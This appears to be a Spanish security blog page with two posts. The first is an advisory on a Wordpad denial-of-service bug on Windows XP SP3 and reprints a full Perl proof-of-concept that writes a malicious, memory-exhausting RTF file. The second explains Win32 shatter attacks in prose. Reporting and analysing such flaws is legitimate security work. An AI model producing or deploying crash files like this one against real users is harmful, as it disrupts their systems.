Un lugar sin fin

vulnerabilidades

DoS en Wordpad

Escrito por unlugarsinfin 17-08-2009 en General. Comentarios (1)
Recientemente se ha descubierto una vulnerabilidad en Microsoft Wordpad (sobre Windows XP SP3) 
que podría permitir a un atacante causar una denegación de servicio. 
 
La vulnerabilidad es debida a un error de agotamiento de memoria cuando un usuario intenta ver un 
fichero RTF malicioso.
 
Un atacante puede explotar esta vulnerabilidad mediante la creación de un archivo RTF que asigne 
grandes cantidades de memoria y provocar la condición de denegación de servicio.
 
El descubridor, murderkey de Hellcode Research, ha hecho público el exploit 
(http://www.hellcode.net/wordpad.txt ) para el que, de momento, no se ha publicado un parche:
 
 
 
#!/usr/bin/perl
#Microsoft Wordpad on WinXP SP3 Memory Exhaustion Vulnerability - 0day
#Works on WinXP SP3!
#bug found by murderkey in Hellcode Labs.
#exploit coded by karak0rsan aka musashi from Hellcode Labs
#Hellcode Research | TCC
#http://tcc.hellcode.net
#just a fuckin' lame 0day bug for fun!
 
$file = "hellcoded.rtf";
$header = 
"\x7b\x5c\x72\x74\x66\x31\x5c\x61\x6e\x73\x69\x5c\x61\x6e\x73\x69\x63\x70\x67\x31\x32". 
"\x35\x34\x5c\x64\x65\x66\x66\x30\x5c\x64\x65\x66\x6c\x61\x6e\x67\x31\x30\x35\x35\x7b".
"\x5c\x66\x6f\x6e\x74\x74\x62\x6c\x7b\x5c\x66\x30\x5c\x66\x73\x77\x69\x73\x73\x5c\x66".
"\x63\x68\x61\x72\x73\x65\x74\x31\x36\x32\x7b\x5c\x2a\x5c\x66\x6e\x61\x6d\x65\x20\x41".
"\x72\x69\x61\x6c\x3b\x7d\x41\x72\x69\x61\x6c\x20\x54\x55\x52\x3b\x7d\x7d\x0a\x7b\x5c".
"\x2a\x5c\x67\x65\x6e\x65\x72\x61\x74\x6f\x72\x20\x4d\x73\x66\x74\x65\x64\x69\x74\x20".
"\x35\x2e\x34\x31\x2e\x31\x35\x2e\x31\x35\x31\x35\x3b\x7d\x5c\x76\x69\x65\x77\x6b\x69".
"\x6e\x64\x34\x5c\x75\x63\x31\x5c\x70\x61\x72\x64\x5c\x66\x30\x5c\x66\x73\x32\x30";
 
$subheader = "\x5c\x41\x41\x41\x41\x41\x5c\x41\x41\x41\x41\x5c\x70\x61\x72\x0a\x7d\x0a\x00";
$ekheader = "\x5c\x70\x61\x72\x0a";
$buffer = "A" x 578001;
$buffer2 = "A" x 289000;
$buffer3 = "A" x 18186;
$buffer4 = "A" x 863973;
$buffer5= "A" x 578000;
$memory = $header.$buffer.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer4.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$ekheader.
$buffer5.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.
$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.
$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.
$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer3.$subheader;
    open(file, '>' . $file);
    print file $memory;
    close(file);
print "File PoC exploit has created!\n"; 
exit();

 

Shatter attacks

Escrito por unlugarsinfin 03-05-2009 en General. Comentarios (0)

 

Este post en una introducción a ‘shatter attacks’, un tipo de ataque ya veterano (del 2002) que se basa en el uso del API de Windows, y que como veréis más adelante todavía sigue siendo muy delicado.

 

Una aplicación que se ejecuta en Windows básicamente lo que hace es procesar los mensajes que va recibiendo. Cualquier programa tiene la capacidad de enviar mensajes a otros programas y no existe ningún sistema de autenticación, lo que abre la posibilidad a un nuevo mundo de vulnerabilidades de seguridad.

 http://unlugarsinfin.blogspot.es/img/break_windows.jpg


"Exploiting design flaws in the Win32 API for privilege escalation - or Shatter Attacks - How to break Windows" es un artículo de Foon (Chris Paget) que presentaba un nuevo método para atacar los sistemas basados en Win32 (y con la posibilidad que otros entornos basados en el proceso de mensajes se ven igualmente afectados).

Lo más importante de esta vulnerabilidad es que no tiene una solución fácil. Al menos no mediante la aplicación de un simple parche, ya que se trata de un problema en el propio diseño del entorno.

La estructura de un programa Windows se puede simplificar, muy superficialmente, de la siguiente forma: el programa está constantemente recibiendo mensajes que son enviados por el núcleo y los otros programas en ejecución. Su misión consiste en procesar todos aquellos para los que el programador ha incluido alguna acción. Por ejemplo, cada vez que se pulsa una tecla, Windows envía el mensaje WM-KEYDOWN a la aplicación que está en primer plano. Todos los mensajes generados se sitúan en una cola y son procesados de forma secuencial por cada aplicación.

El problema de seguridad se encuentra en el hecho que Windows permite a una aplicación en ejecución enviar un mensaje a cualquier ventana abierta en el mismo ordenador (o escritorio, para ser más exactos), con independencia de si la ventana receptora tiene alguna relación con la aplicación que emite el mensaje o de sí el receptor de mensajes desea recibir los mensajes que le son enviados.

Adicionalmente, Windows no facilita a las aplicaciones ningún mecanismo para determinar la autenticación del emisor del mensaje.

Es justamente esta falta de funciones de autenticación la que puede ser aprovechada en este tipo de ataques.

Una aplicación maliciosa puede enviar un mensaje a un programa que se está ejecutando con el que puede manipular las ventanas y los procesos del programa receptor del mensaje.

Este tipo de ataques, hoy por hoy, todavía sólo pueden realizarse en local.

Parece que Microsoft ha solventado estos problemas a partir de Windows Vista y a través de la asignación de niveles de integridad a cada proceso a través de UIPI (User Interface Privilege Isolation) e impediendo que los usuarios por defecto se logeen con Sesión 0.

Aunque recordemos que todavía el rey de los puestos cliente sigue siendo XP…